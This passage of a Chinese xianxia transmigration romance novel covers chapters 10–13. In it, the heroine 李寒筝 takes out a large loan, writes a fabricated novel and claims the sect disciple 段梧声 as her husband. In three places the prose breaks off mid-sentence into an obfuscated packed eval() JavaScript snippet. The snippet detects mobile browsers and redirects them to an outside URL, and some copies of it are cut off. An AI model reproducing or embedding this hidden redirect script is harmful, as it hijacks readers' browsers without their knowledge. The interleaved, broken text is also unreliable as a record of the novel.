福娃娃涎皮赖脸道:“自是不如主子半分。” “一张巧嘴,”何殊懒懒道,“反正闲着,进宝,将人请进来。” 福娃娃便是进宝,也是第二位副楼主宝大人,他身形如同十岁儿童,脸上戴着张憨态可掬的福娃娃面具,此刻领了命,噔噔噔又下楼去了。 不过片刻,便领着李寒筝上了楼。 何殊笑盈盈走上前,挽住她的手,十分热情道:“你便是那要预支赏金的人?” 李寒筝道:“正是。” 何殊亲热道:“可有抵押?” 李寒筝卡了壳。 还要抵押……吗? 这幅疑惑的神情说明了一切,何殊变脸十分之迅速,将她手一甩,冷冷道:“穷乡僻壤来的呆瓜,抵押都没有就想空手套白狼,来人,将她赶出去!” 半分钟后,李寒筝连着系统被扔出了镜楼,还有她的伞。 李寒筝拍拍衣裙,从地上爬起来,又撑起伞,把系统捞起来放在肩头,疑惑道:“怎会如此?” 系统呵呵冷笑:“不然呢?你一骗人家就上当,给你五万上品灵石?” 李寒筝不语,她望着迷蒙雨幕,想起了一件事。 男主袁期似乎这个时候也在这里。 10. 葛生于野(4) 李寒筝没费多少时间就找到了男主。 毕竟朱红流苏耳饰配上袁期那张浓极稠丽的脸实在太过招摇,见之难忘。 袁期正在酒楼喝酒,位置是二楼临窗,桌上一壶酒一盘切好的牛肉。 此刻袁期放下酒杯,看着眼前这个不请自来还夹了他一块肉的人,双眼轻轻眯起,好半晌才从记忆的角落里找出这个人。 “李府的表小姐,我记得我们似乎并没有如此相熟吧?” 牛肉上刷了辣酱,辛辣爽口,李寒筝又夹起一块,提醒道:“我叫李寒筝。” “谁问你名字了?”袁期似笑非笑看她,“找我干嘛?我可不信你穷到连我两口肉都要抢。” 李寒筝吃完一口牛肉,放下筷子,这才道:“我来和你谈一笔交易。” “哦?” 李寒筝知道他不信,稍稍靠近,漆黑的眼瞳认真看着他,压低声音道:“我知道你喜欢裴玉仪。” 袁期闻言一口酒呛出来:“你在胡说八道什么!” 作为看过原著的人,李寒筝对这个阶段男主的心理变化了若指掌。 说来也有她引起的蝴蝶效应,原本城主府这个案件没有这么快结束,应该费更多波折,先是调查李恪的恶行,然后沿着李恪小妾这条线发掘柳轻的过往,最后进入蜃楼幻境联手作战。 但是由于她的到来,直接速通了案件背景,当晚这个案件就结束了。 袁期在蜃楼幻境里待了大半夜,纯纯打酱油,和裴玉仪的关系还处于萍水相逢的路人状态。 李寒筝手指交叉,撑住下巴:“确定吗?长殷山,你陷入大魔陷阱,是裴玉仪救了你,当时你就暗暗倾心了吧?只不过裴姐姐好像没认出你。” 没错,这是个救命之恩一见倾心的故事,男主因为早先的救命之恩一直默默关注着女主。 袁期惊疑不定地看着她,没有反驳,道:“你怎么知道?” 李寒筝微微一笑:“别管我怎么知道,你只需要知道,现在能帮你的人,只有我一个。” “帮我?”袁期身子后仰,靠在椅背,唰地一声展开乌木扇:“你要什么?” “不多,”李寒筝手指一转,指向他手里的乌木扇:“只需借你的乌木扇作为抵押,一段时间后就还你。” 乌木扇是袁期的本命法宝,是袁期费了千辛万苦拿到手的,作为抵押应该绰绰有余。 “好大的口气。”袁期冷笑:“我怎么知道你不是空手套白狼?我凭什么相信你?你又如何证明?” “没有证明哦,”李寒筝摊手,“鲜花赠美人,宝刀配英雄,风流赋年少,世间美好,皆在于时机二字,一步错过,步步错过,可遇不可求的东西,哪里那么多的证明?” 袁期见她一幅无赖摊手强买强卖的样子,冷笑的同时,不由想,傻瓜才会答应这种不平等交易。 他唰地一声收回乌木扇,转身就走,留下四字评语:“痴心妄想。” 系统小声道:“你这也太扯了,谁会答应?” 李寒筝也不解释,单手撑脸,笑意盈盈,伸出三根手指。 “三。”弯下第一根。 “二。”弯下第二根。 “一。”弯下最后一根。 袁期神色不虞地倒退回来,“你怎么不拦我一下?” 李寒筝捧着脸笑:“你这不是回来了吗?” “啪”地一声,乌木扇被拍在桌上,袁期俯身在李寒筝面前挥了下袖子,有淡淡的香味蔓延开来。 袁期弯起唇笑了声,笑声里饱含威胁,“敢威胁我,那么你应该知道我的身份,也知道我的毒。信一个来路不明的人,这于我还是第一次,此毒名为天涯海角,意思是说,无论你逃到天涯海角,我都能让你瞬间死去。相信你不会让我失望。” 男主袁期,出自修仙大族袁氏,医毒双绝,有个“枯荣扇”的称号,因他一扇能毒人,一扇能治人,故得此名。传闻他脾气阴晴不定,行踪飘忽,从不以真容示人,救人杀人都全凭喜好。总之,是一个十分带感的人设。 李寒筝摸了摸鼻子,毫不在意:“当然。” * 第二次来到镜楼。 何殊噼里啪啦打着算盘,头也未抬,声音淡淡:“镜楼是什么阿猫阿狗都能进来的么?口袋空空的穷鬼,怎么又来了?” 李寒筝走上前,将乌木扇往桌上一拍。 何殊掀起眼皮瞥了眼,这一眼就黏住了,她微微一顿,瞬间就换了张温柔面孔,亲亲热热地起身,捧住李寒筝的双手:“这是哪里来的漂亮妹妹?真是叫我一见如故。” 变脸如此之迅速,袁期翻了个白眼。 李寒筝却是笑容满面:“我同姐姐也是相见恨晚。” “真是可惜,”何殊双眼饱含深情:“都怪我那苦命的娘死得早,不然认妹妹做义女,岂不全了你我二人的深厚情谊?” 两人姐姐妹妹亲热了半晌,好似上午全然没有见过一般。 袁期不耐地听了半晌,咳了一声。 李寒筝像是终于想起正事,期期艾艾开口:“妹妹此行,是想拜托姐姐一件事。” “别说一件,便是十件百件都使得。” 两人你一句姐姐我一句妹妹,将价值五万上品灵石的单子说得好似喝茶一般简单随意,袁期轻轻皱眉,有些怀疑自己的决定了。 他挂名在镜楼,接过不少悬赏令,自然也和这位何老板打过几次交道。 何老板此人,嬉笑怒骂变脸迅速,所作所为只为一个财字,上一秒对着你温柔笑脸亲亲热热,下一秒就能面无表情地命令手下将你砍死。 绝不是表面上看起来这样简单。 眼看着李寒筝要落笔签订契约,他到底忍不住,摁住李寒筝手中的毛笔,一目十行将契约扫了一遍,被这霸道条款惊得额角跳了跳。 袁期耐着性子开口:“何老板好算计,三个月内成为暮山弟子首座段梧声名义上的夫人,如若不成,不仅要返还五万灵石,还要加上两成利息,且乌木扇还要归镜楼所有。” 何殊“哎呀”一声,笑盈盈道:“不过走个形式罢了,我相信以妹妹这般的神仙姿容,一定能够手到擒来。” 袁期呵了声,对着李寒筝道:“你不会相信了吧?我可告诉你,迄今为止,还没有一个人能够逃得了何老板的债,要是你失败了,五万灵石,加上两成利息,便是六万上品灵石,把你买了都赔不上。” “诶,此言差矣,”李寒筝煞有介事摇摇头,把笔抽出来,“就算卖掉一百个我都还不起。” 袁期目瞪口呆,喃喃:“简直是个疯子,我到底为什么要相信这个人。” 李寒筝已经开开心心地写上了自己的名字,最后一笔落下,契约明亮一瞬,又回归平静,这代表契约已经立成了。 何殊捧着契约,十分满意,招来进宝,团扇在他脑门上敲了一敲。 一阵白光闪过,带着福娃娃面具的十岁孩童消失不见,取而代之的是一只金光闪闪的大金蟾。 金蟾呱呱两声,像是消化不良要吐一般,两腮不自然地鼓起。 片刻后,“哇”地一声,从金蟾嘴里吐出一个巴掌大的荷包袋。 这荷包袋自然便是装着五万灵石的储物囊,在空中划过一道弧线,径直落入了李寒筝手中。 与此同时,何殊将桌上的乌木扇一抛,金蟾张嘴接住,吞吃入腹,再一阵白光闪过,孩童模样的进宝摸着肚子坐在地上,哎呦哎呦地叫唤,像是吃撑了一般。 何殊拍手道:“好了,钱货两讫,交易达成。” 好不容易到手的法器被一只恶心的金蟾给吞入腹中,袁期的面色不太好,不阴不阳道:“何老板底下果然人才辈出。” 何殊笑了笑,“开店做生意的,自然诸多忌讳,总盼望着能有些好兆头。我这两个手下,一个叫招财,是只招财猫。” 李寒筝看着沉默站在何殊身后的清俊男子,总觉得招财这个名字有点梦幻。 团扇一拍,进宝捧着肚子跳起来,何殊斥了一声“还不干活”,又转头温柔道:“另一个便是这个讨债鬼,是只金蟾,之前看他圆鼓鼓好福气,没想到是个滑头。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177305|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进宝溜出门,又折回来趴在门板上叫屈:“主子,天大的冤枉,我可是忠心耿耿。” 何殊团扇一丢:“去!” 进宝躲得快,团扇砸在了门框上,进财沉默地将团扇拾回来,捧到何殊手边。 李寒筝看着一主一仆的互动,颇觉好笑,她掂了掂储物囊的重量,反将储物囊放在桌案上。 何殊旋转扇柄的手指一顿,挑起眼,温柔笑道:“妹妹这是何意?” 袁期额角青筋又跳,有种不好的预感。 真是见了鬼了,怎么碰上李寒筝,竟没有一件顺心的事。 李寒筝看着何殊,“我还有两笔交易,想同何老板谈一谈。” “哦?” 李寒筝从衣襟里掏出一叠整齐的稿纸,放在桌上,“这是我近日写的话本,我希望这本书能够在一个月内传遍三域十九州每一家书肆,需要多少灵石?” 人族居住之地,是为人域。魔族居住之地,是为魔域。修士居住之域,是为仙域。 三域十九州,地辐广大,纵是不眠不休御剑飞行,也得十天以上。 何殊捞起算盘噼里啪啦拨了起来:“两万上品灵石。” 袁期眨了下眼,心道不好,伸出手阻止:“等等。” 然而李寒筝眼也不眨:“可以。” 五万灵石顿时少了五分之二。 袁期扶额,很是郁闷。 很不靠谱的样子。 话又说回来,到底为什么会陪着她一起赌呢? 又有一笔灵石进账,何殊心情大好,认定这人是个冤大头,“第二笔交易是什么?” 李寒筝便又从衣襟中掏出一张纸,道:“何楼主能否帮我找到一位铸造师,把这纸上的东西打造出来。” 何殊接过一看,再抬起头时目光出现了微妙的变化,“这是你画的?” 李寒筝略一颔首:“当然。” 关于这件事,系统也有些惊讶。 前往宛州的这些日子,李寒筝除了日日吃吃喝喝,也干了点其他的事,其一便是写了一沓稿纸,其二便是捧着关于器械铸造的书看了一路。 真正精妙的匠造书籍自然不可能流通于世,因此李寒筝买到的书籍只是些浅显简陋之语,但李寒筝就是看着这些像是骗冤大头的书,手搓出了一张设计图。 李寒筝的话并非全部不可信,至少有一点没说错,她确实很聪明,当然,除了攻略这方面。 何殊饶有兴致道:“千机伞么,有意思,旁的倒算了,能够兼顾防御和进攻,便是不凡了,只不过……” 何殊眨了下眼,笑容愈发温柔,“这价格么,可是不匪,用料都是极难寻的,工艺也难。” 李寒筝土豪似地一挥手:“姐姐只管告诉我所费几何?” 何殊微笑道:“三万上品灵石” 袁期身体一僵,机械地扭动脖子,果然,李寒筝眼也不眨,开口就是:“我要了。” 从镜楼出来的时候,袁期望着天,十分感慨:“李寒筝,你太行了,短短半个时辰,到手五万上品灵石,又出手五万上品灵石。” “多谢夸奖,”李寒筝虚心道:“但是需要提升的空间还有很多。” 袁期面色一厉,恨不得戳她额头:“还真以为我夸你呢!” “让我说你什么好,三个月后,如若不能成为段梧声的夫人,你到底打算拿什么来还欠的那六万灵石?” “放心吧,”李寒筝胸有成竹,眼睛里闪烁着智慧的光芒,“我自有办法。” 袁期深呼吸一口气,试图让自己冷静起来,并说服自己相信眼前这个人应该没有找死的倾向,不至于自讨苦吃给自己背负这么一大笔债款。 赌一把吧,万一能成呢。 此时一个鼻青脸肿的人从旁边跑过来,被两个壮汉逮住收拾了一顿,像拖死猪一样被拖着两条腿往后走。 那人还捶着地,满脸痛心疾首之色,涕泗横流:“不该赌啊,当初想着赌一把吧,万一能成呢,最后输得底裤都没了,妻子也跟别人跑了。” 袁期:“……” 11. 葛生于野(5) 满城潇潇细雨,何殊收了伞,走进一家酒楼,径直上了三楼天字雅间,走向靠窗的位置。 桌边已经坐了一个人,单手拿酒,倚窗看着楼外一株枝繁叶茂的海棠树。繁茂的枝桠遮天蔽日,有一枝正好横斜在她的眼前。 何殊落座对面,取笑道:“鼎鼎大名的铸造大师洛久霖,一件作品千金难求,怎么穿得这样穷酸?” 洛久霖一身窄袖黑衣,过于简朴但也称不上穷酸,她饮了口酒,漫不经心道:“养着一大家子呢,没钱。” “所以我今日给你带来了一个大单子,”何殊从储物囊中取出李寒筝的设计图,推到洛久霖对面。 洛久霖不以为意地扫了一眼,目光定了下,稍稍坐直了身体,细看了大约半盏茶时间,又重新歪了回去,“有点粗糙,但还不错,谁画的?” “一个很有意思的人,她揭了我楼里那件积压了很久的悬赏。”何殊要了一盏茶,刮了下茶叶,啜饮一口。 “那件悬赏?”洛久霖冷哼了一声,“我真是搞不懂了,不就长得俊了点剑法好了点吗?怎么一个两个都喜欢。” “你那侄女还没迷途知返么?” “看样子是不撞南墙不回头了。” 何殊笑了声:“既如此,这可是为你侄女找了个情敌,这单子你还要接吗?” “接,”洛久霖在设计稿上敲了下,“当然要接,我巴不得有人能成功,好断了我那傻侄女的痴心妄想。” * 接下来的几天,袁期过上了每天看着李寒筝的生活。 每天李寒筝一打开门,就是袁期倚在门边,幽幽道:“我很热,你知道为什么吗?” 李寒筝是个从来不让别人的话掉在地上的好孩子,哪怕这句话很奇怪,于是乖乖发问:“为什么?” 袁期一字一顿,“因为我的扇子没了。” 李寒筝深表同情,并道:“我有一个好办法,可以缓解你的炎热。” 袁期眼皮跳了一下。 片刻后,袁期站在城外僻静的山谷,看着二十米开外的靶子,挑起眉:“这就是你说的好办法?” 李寒筝手里握着伞,展露微笑:“对呀,教我怎么使用上弦月攻击对手。” 上弦月正是李寒筝设计的法器,撑开可防御,伞骨藏箭矢,伞柄抽出来则是一把剑。 千机伞的概念早就有人提出,市面上亦有许多款式,但是往往很难兼顾防守和进攻,要么就是兼顾了但是十分繁琐。李寒筝综合了进攻型千机伞和防守型,改进简化了机关设计,逻辑上可行,然而到底没有亲手实验,难以预测最终成品如何。 但是结果显然是不错的,镜楼的速度很快,不过三日,上弦月就到了她手里,甚至在她设计稿的基础上调整完善了许多,不愧她花了三万上品灵石。 伞面是天青色,共有二十四伞骨,巧思之处在于箭矢用灵力凝成,但是却并不需要用灵力驱动,使用方法如同普通箭矢,但是攻击力却不亚于二境修士。 在这个修仙世界中,修士的修为共分十二境,传闻修为突破十二境便可成神,但到底极为稀少,千百年都不见得有一位。大多数修士卡在三境寸步不得进,是以二境修为已经很可观了。 “真是个好方法啊,”袁期也跟着歪头笑了下,下一秒神色一凛:“好得让我心火蹭蹭涨,这和你成为段梧声的夫人有关系么?你现在应该立刻启程去暮山,然后跪下来求他帮帮忙。” “跪下来,这么卑微的吗?”李寒筝故作惊恐。 袁期的目光在她身上滚了一遍,冷笑:“不然你觉得你凭什么成功?段梧声又为什么要放着一大批又漂亮又有钱的女修不娶,而非你不可呢?” “放宽心,还有三个月呢,”李寒筝抚慰般在他肩头拍了拍,想了想,劝道:“你想,就算我要跪下来求段梧声,要是他不同意想要打我怎么办,那我也得跑呀,死了的话就没办法还钱了。” 袁期一想,竟然还真是这个道理,便莫名其妙地开始教导李寒筝,但是很快他就发现,这是一个报复李寒筝的好机会。 “你没有灵力,身体看起来跟颗草似的,弱不禁风。因此摆在你面前最迫切的问题有三个。” “第一,强身健体,提高耐力和逃跑的速度。第二,靶点瞄准,灵力短矢是你唯一的攻击手段,必须充分利用每一个短矢,确保百分百中。” “第三,基础入门招式。能够逃跑能够瞄准还不够,重要的是结合起来,此伞可攻可防,确实很适合你,但是如果没有技巧,再好的法宝到你手里都是废铁。” 袁期负着手,针对李寒筝的缺陷一条一条分析罗列,最后转身,勾唇道:“解决的办法也有,但是很苦,你确定要开始吗?事先提醒,我这个人最讨厌半途而废,因此一旦开始就绝不能放弃哦。” 李寒筝并不是很了解这些修炼法则,但是也听出来袁期分析得一针见血,她深吸一口气,“我确定。” 于是接下来的一个月,李寒筝过上了水深火热的生活。 每日卯正起床,天都没亮便得绕着山谷跑一圈,最初是绕小圈,然后是绕大圈,最后不仅绕圈还得爬山,上上下下来回,还得在规定时限内完成,累得浑身的骨头都在叫嚣离家出走。 跑圈结束便直接开始练习基本功,扎马步练下盘,压腿要正压侧压后压,劈叉得横叉竖叉,而后压肩甩腰,开胯活膝,一套动作弄下来,浑身骨头嘎嘣响。 基本功之后是拳法,千般武器都是手脚的延伸,因此拳法为百兵之基础,哼哼哈嘿,一招一式,柔中带风,刚中带硬,身形得流畅,腰板得挺直。 拳法熟了之后才开始练习与伞有关的基础招式,合伞是棍、点、戳、扫,开伞是盾、削、转、压。 夜间还得打坐吐纳,李寒筝是五灵根,五灵根基本宣告没有修行的天赋,这并不是歧视,而是事实。 以发动机作比,五灵根好比最落后的版本,功率慢且能量利用率低,吸收一天一夜都比不上三灵根的一个时辰,更遑论和双灵根单灵根比较。 且金木水火木里又存在着五行相克,灵力吸收起来更是难上加难。 李寒筝心态放得很宽,跟着袁期的心法进行打坐吐纳,引导灵力在四肢百骸缓缓流淌。 虽然难以对灵力进行储蓄并使用,但是这样修炼下来,身体却也变得更加轻盈,白日的疲劳都被一洗而光,她能够明显感觉到自己的体质在提升。 这其实是很神奇的,如此高强度的体力训练换在现代根本是不可能的,半天下来就浑身酸痛,不仅没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李寒筝抹了抹溅到脸上的唾沫星子,弱弱开口:“其实我也很焦虑。” “呵,你焦虑个鬼,”袁期冷笑,“我看你就是铁锅上的咸鱼,粘锅躺平了!” 咸鱼李寒筝深思熟虑片刻,道:“说到咸鱼,我有点饿了,我们去吃饭吧?” 袁期横眉竖目,“你还有心思吃饭?” “去吃烤鱼吧,城里新开了一家,听说生意很好。” 袁期怒目圆瞪:“吃吃吃,你就知道吃,再过三个月你就要负债六万上品灵石了!” “可是烤鱼真的很好吃,多加剁椒,配上甜酿,美味得咂舌头。” 袁期火冒三丈:“你是饿死鬼投胎吗?” 李寒筝自说自话,不可自拔:“然后再点一碗面,多加牛肉和辣酱!” 袁期:“……走。” 于是两人便出发去吃烤鱼。 吃完烤鱼的袁期又开始焦虑了,将好不容易搜集来的资料塞到李寒筝怀里,三令五申必须得在今晚看完。 李寒筝回到客栈,点燃烛灯,将资料翻了几页,然后睡着了。 另一日,袁期来考核李寒筝的背诵情况。 李寒筝积极回答:“段梧声吃馄饨竟然不吃辣,真是太过分了,吃馄饨不加辣简直丧心病狂。” 袁期等了片刻,不可置信:“没了?” 李寒筝道:“你就说我说的对不对吧。” 袁期无言以对,深深沉默。 12. 葛生于野(6) 千方百计地鞭策了李寒筝好几天,袁期不得不得出一个结论。 李寒筝是条咸鱼,没救了。 得出结论后的袁期十分释然,有种死猪不怕开水烫的淡然。 他十分淡然地给李寒筝布置了绕着山谷跑十圈的任务,听到李寒筝哀嚎之后淡然离去,而后独自漫步在街上。 他准备去吃烤鱼。 李寒筝此人,虽然十分咸鱼,但是发现美食的本领却堪称一流。 天色尚明,酒楼的人不多,他挑了一个临窗的位置,点了一份烤鱼和一壶酒。 吃到一半,人渐渐多了起来,七嘴八舌地开始说话。 很快,袁期就发现这些人都在谈论同一件事。 “诶,你看过那本《葛生于野》吗?” “当然看过了,这本书的故事情节十分新颖,引人入胜,跌宕起伏,一波三折,感情真挚,真是举世佳作。” “我熬夜给看完了,眼泪哭了一缸,女主真惨啊,深爱的夫君突然消失了……” “我从未读到过如此真挚的文字,他们之间的情谊感天动地,没想到好不容易闯过了重重阻挠,男主竟然消失了,诶。” “作者说这本书乃是她的亲身经历,在结尾处,她说要去寻找她的夫君,无论天涯海角,也不知到底成功了没有?” 袁期突然想起来,《葛生于野》不是李寒筝写的那一本吗? 当初看李寒筝那么随随便便拿出一沓稿纸,他扫过一眼便没有看,如今看来,竟然看的人很多吗? 听着络绎不绝的谈论,袁期大致理出这本书的故事情节。 女主叶筝在某一日捡到了一名重伤的男子,带回家悉心照料,几日后男子苏醒,竟然失忆了,于是便在叶筝家中留了下来。 叶筝为他取名为柳梧,柳梧生得俊俏,身高体长,虽没有记忆,却学识渊博风采卓然,又兼武力高强,帮助叶家解决了不少难题。 两人在相处中互生爱慕,中间好一段暧昧拉扯,又经历了男配女配的使绊捣乱,以及家人的阻挠反对,最后冲破重重艰难,结为夫妻,立下两心相许,白首不移的誓言。 然而三年后,柳梧突然消失了,此时叶家遭遇山匪,叶父叶母都不幸而亡,叶筝只好孤身一人投奔伯父。 想起主角名字里的“筝”和“梧”,袁期眉心一跳。 李寒筝,你到底要做什么? * 同一时间,镜楼第九层。 财大人一板一眼地对着话本念道:“这一找,或许是经年万里路。只是我既同他立下了两心相许,白首不移的誓言,就算山高水长,荆天棘地,也总是要去寻他的。” 念到此,他顿了顿,“主子,到这就结束了。听掌柜来报,这本书的销售量很是可观,几乎一到书摊就哄抢而光。” 何殊闭着眼像是睡着了,只轻摇的团扇昭示她的清醒。 片刻后,她睁开眼,弯唇一笑,“原来如此。” “我之前以为她是个年少无知空有热血的恋爱脑,现在想来,竟是我错了。”何殊轻叹一声,“果真让她空手套白狼,不仅白得了五万上品灵石,还捞到了一个俊俏夫君。” “只是,”何殊轻笑道:“她这俊俏夫君,似乎并不如传闻中的那般温和无害,此后可有的她受。” * 另一清晨,袁期还在睡梦中门外便响起了敲门声。 袁期抹了把脸,不耐地开门,却见李寒筝衣着整齐地站在门前。 “干嘛?”袁期道。 李寒筝开口道:“从现在开始,你是我的义兄,我是你的义妹,我们即刻启程去暮山。” 袁期有些没睡醒,听闻此言有点怔:“去暮山干嘛?” “寻亲。” 袁期还是有点没反应过来。 李寒筝微笑道:“去寻我两心相许,白首不移的夫君。” * 暮山。 身为暮山的弟子首座,段梧声每天都有很多事情要做,其中一件,便是定期在演武场指点弟子修行。 这一日,他按照惯例来到演武场,演示了一遍剑法之后,便负着手着令弟子自行练习。 但是很快他就发现,今日的弟子们似乎十分心浮气躁,不时交头接耳,窃窃私语,有的露出憋笑的神情,有的露出悲伤的神情,颇有些诡异。 段梧声向来不会过多插手门内弟子的业余生活,只是在他职责范围内,便不得不管。 他淡声道:“演练剑法一千次。” 弟子们哀嚎一片,却不敢违令。 正当练习的时候,一本书掉落下来。 掉书的弟子慌慌忙忙要去捡,然而话本却从他手下飞溜出去,径直落入段梧声的手中。 “葛生于野,”段梧声垂眸看着手中的话本。 掉书弟子尴尬地扣了扣手,“师兄,我错了。” 段梧声环视一圈,经此插曲,所有弟子都噤若寒蝉,埋头若鹌鹑。 致使他们心浮气躁的,便是这本书么? 段梧声凝眸几秒,道:“这本书讲了什么?” 掉书弟子啊了一声,有些惊讶,但是不敢多问,忙将话本内容从头到尾简述一遍。 讲到最后,他竟有些忘记面前的是段师兄了,还愤愤不平地补了一句评语:“话本的作者说这都是她的亲身经历,也不知她的夫君为何要不告而别,这让她孤零零一个人怎么找?实在是太过分了,有违君子担当。” 旁边的弟子深以为然地暗暗点头。 段梧声手指在话本上摩挲了下,垂着眸,不咸不淡道:“那么,便再将这套剑法练习一千遍。” 弟子们如遭雷劈,一个个跟霜打的茄子一般。 此时,一名弟子急匆匆跑过来,行过礼后,上气不接下气道:“师兄……掌门有召,说是大殿里你的夫人来了!” 旁听的弟子们齐刷刷支楞起了耳朵,心中震惊。 不是吧不是吧,段师兄这么高冷清心寡欲一人,什么时候多了一个夫人了? 段梧声神情未动,“喘平气,好好说。” 传话弟子往自己脑门上敲了一下,有些懊悔,这次倒是好好把事情说了清楚,但是却仍旧炸裂。 “大殿里来了一个自称是师兄夫人的女子,还说师兄你一见便知,此事惊动了掌门和各位长老,都在大殿里等着了,掌门传讯让师兄你快些过去。” “对了,”传话弟子目光瞥见段梧声手中的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话虽如此,段凌却料定这事是一场乌龙,梧声向来是清心寡欲的,甚至可称无心无欲,这样的人,又怎么会对一个女子动心?更何况还是一个柔弱平凡的凡人女子。 他初听此事只觉荒唐,只不过这本叫做《葛生于野》的话本实在流传太广,直接拒绝显得做贼心虚,只好相见一番,不过想来流言很快就能澄清了。 此时,大殿门口逆光走来一个清隽的身影,长袍如云缓缓曳过,身姿挺拔高挑。 段凌十分自得,不愧是他一手教出来的徒弟,瞧瞧这仪态,这模样。他撤了隔声咒,让声音传遍大殿每个角落,有意一举把这流言给扯清楚:“梧声,你且来看看,认识这位李姑娘否?” 段梧声行过礼,抬头看向大殿中的人影。 那杏黄色衣裙的姑娘站在侧前方,听闻此言后身形陡然凝滞了一下。 而后缓缓转过身来,眼圈已经红透,目光一眼便将他望定,嘴唇蠕蠕许久,才终于哽咽开口:“阿梧,好久不见。” 她眼角有一滴泪陡然坠下,“好久不见”这四个字仿佛也饱浸了这滴苦涩的泪,一字一字都哀伤而悲楚。 13. 葛生于野(7) 段梧声轻轻拧起眉。 他记得这个人。 南熙城中举止无常的李府表小姐。 当时他对她起了一点好奇,但是并没有很多,心想此后不会再见,便不需过多询问。 可是此刻,她却又再次出现在他眼前。 段凌的声音自上传来:“梧声?” 段梧声眸光轻轻一动,最后停留在李寒筝的脖间。 那里,坠着一颗润泽通透的碧玉珠,珠子外面镌刻着一枝累累的樱花。 段梧声沉默几秒,俯身行礼:“师尊,她确实是我……的夫人。” 此言一出,整个大殿都安静了几许。 裴执的目光里多了几分讥诮,洛久霖扑哧笑了一声。 满心以为自家徒弟冰清玉洁的段凌:“……” 李寒筝仍维持着深情的人设,只唇角的弧度微不可查地弯了点。 大殿门外躲在树荫里梳理羽毛的系统轻轻一顿,眸光闪烁了下。 至于以李寒筝义兄身份跟随在侧的袁期,则更是震惊了,他本好整以暇地站在旁边,等着李寒筝被暮山赶出去的时候,捞上一把,再大肆嘲笑。 没想到,莫名其妙地成功了? 他的目光转到正演得不知天地为何物的李寒筝身上,顿时肃然起敬。 李寒筝,还是有点东西的。 * 李寒筝被段梧声带到了他的居所。 门在身后关合,段梧声不紧不慢坐下,看向李寒筝:“此地无旁人,你不用哭了。” 李寒筝转了下黑白分明的眼珠,戏精上身,哭哭啼啼道:“夫君,你不认识我了么?” “此事真假,无人比你更加清楚,”段梧声斟了一杯茶推给她,“哭了这么久,不渴么?千方百计兜这么一个大圈子,你所图为何?” 李寒筝手肘撑在桌上,双手捧着下巴倾身看他:“夫君,你知道葛生于野是什么意思么?” 段梧声不答,李寒筝自顾自道:“葛生于野,汝生我心,葛藤弯弯绕绕在原野上生长,你在我的心上生长。” 她绽开笑容,声音里饱含糖蜜一般的深情:“我不图钱财,不图名利,只图你这个人。” 段梧声平静看她,探究的目光看进她的眼底。 这人的眼睛太有迷惑性,如此干净透彻的一双眼,弯起来都是细碎的光,让人误以为她未经世事单纯好骗。 但恰恰,却是最狡猾的骗子。 她拿到了蜃楼珠,但是却并不冒失地跳出来以之威胁,因为她并没有能力护住这颗蜃楼珠。 因此她绕了一个大圈子,写了一本话本,编造了一个故事,等到天下皆知了,再来寻他,迫他承认。 那么,无论如何,她只要受到任何伤害,便必定和他逃脱不了关系。 她很善于利用一切可利用的东西。 可偏偏,他非得到这颗蜃楼珠不可。 “我并不认为南熙城一见,可以让你一见倾心。”段梧声收回目光,“我要你这颗蜃楼珠,你可以要旁的东西交换,凡我所有,必定给你,除了妻子这个身份。” “巧了,”李寒筝目光灼灼地看着他,故意叫得很是亲切:“阿梧,旁的我都不要,只想成为你的夫人。” 段梧声稍稍觉得有些棘手了,他并不善于言辞,眼下也似乎没有说服她的希望。 旁的方法也有,只是自称是她义兄的袁期颇有来历,这些方法似乎大概率逃不过他的眼睛。 那么,此局,竟是无解了。 段梧声正思量,李寒筝已经站起身,好奇地四处打量了。 这里是冷翠峰寒竹居,所谓寒竹居,是一栋两层的竹屋,带着一个小院子,推窗就能看见院中一棵遮天蔽日的银杏树,树下有一口井,旁边有一方石桌并几个石凳。 而院外,则是万顷竹林,长风叠翠,妥妥的5A级景区了。 李寒筝十分满意。 段梧声见她转来转去,不由问:“你在看什么?” 李寒筝回答得理所当然:“看我从现在开始的居所呀。” 段梧声难得觉得有稍微气闷,只是他向来喜怒不形于色,径直站起身,道:“此事还不一定,我须得提醒你,成为我的夫人,并不是一件好事。现在还有转圜余地,你尚可反悔。” 李寒筝笑盈盈看他,一字一顿:“绝不反悔。” 段梧声气滞,拂袖离开了。 * 气走了段梧声,李寒筝彻底成为了寒竹居的主人。 一只翠鸟飞进来,落脚在窗棂上,歪着脑袋梳理羽毛,良久,它似是终于受不了李寒筝一直捧着脸看它,对视上目光,无声询问。 李寒筝微笑,“你怎么知道我穿越不到两个月,就成为了攻略对象的夫人?” 系统:“……” 李寒筝:“你不觉得应该夸一夸我吗?我简直是个天才!” 系统一脸冷漠:“你好棒。” 李寒筝等了会,“没了?” 系统淡淡道:“你还想要怎样?” 李寒筝掰着手指头算:“比如什么聪明机敏,高瞻远瞩,谋略过人……” “既如此,”系统道:“现在给你两个阶段性奖励。” 李寒筝苍蝇搓手,有点期待:“什么?” 系统道:“第一,红叶手链。” 话落,李寒筝右手手腕上多了一条手链。 细细的链子,缀着七片碧玉叶子,精致好看。 李寒筝拨动手链仔细看了看,沉默片刻,“这不是绿色的么?你色盲?” “你仔细看一下,真的一点红色都没有吗?” 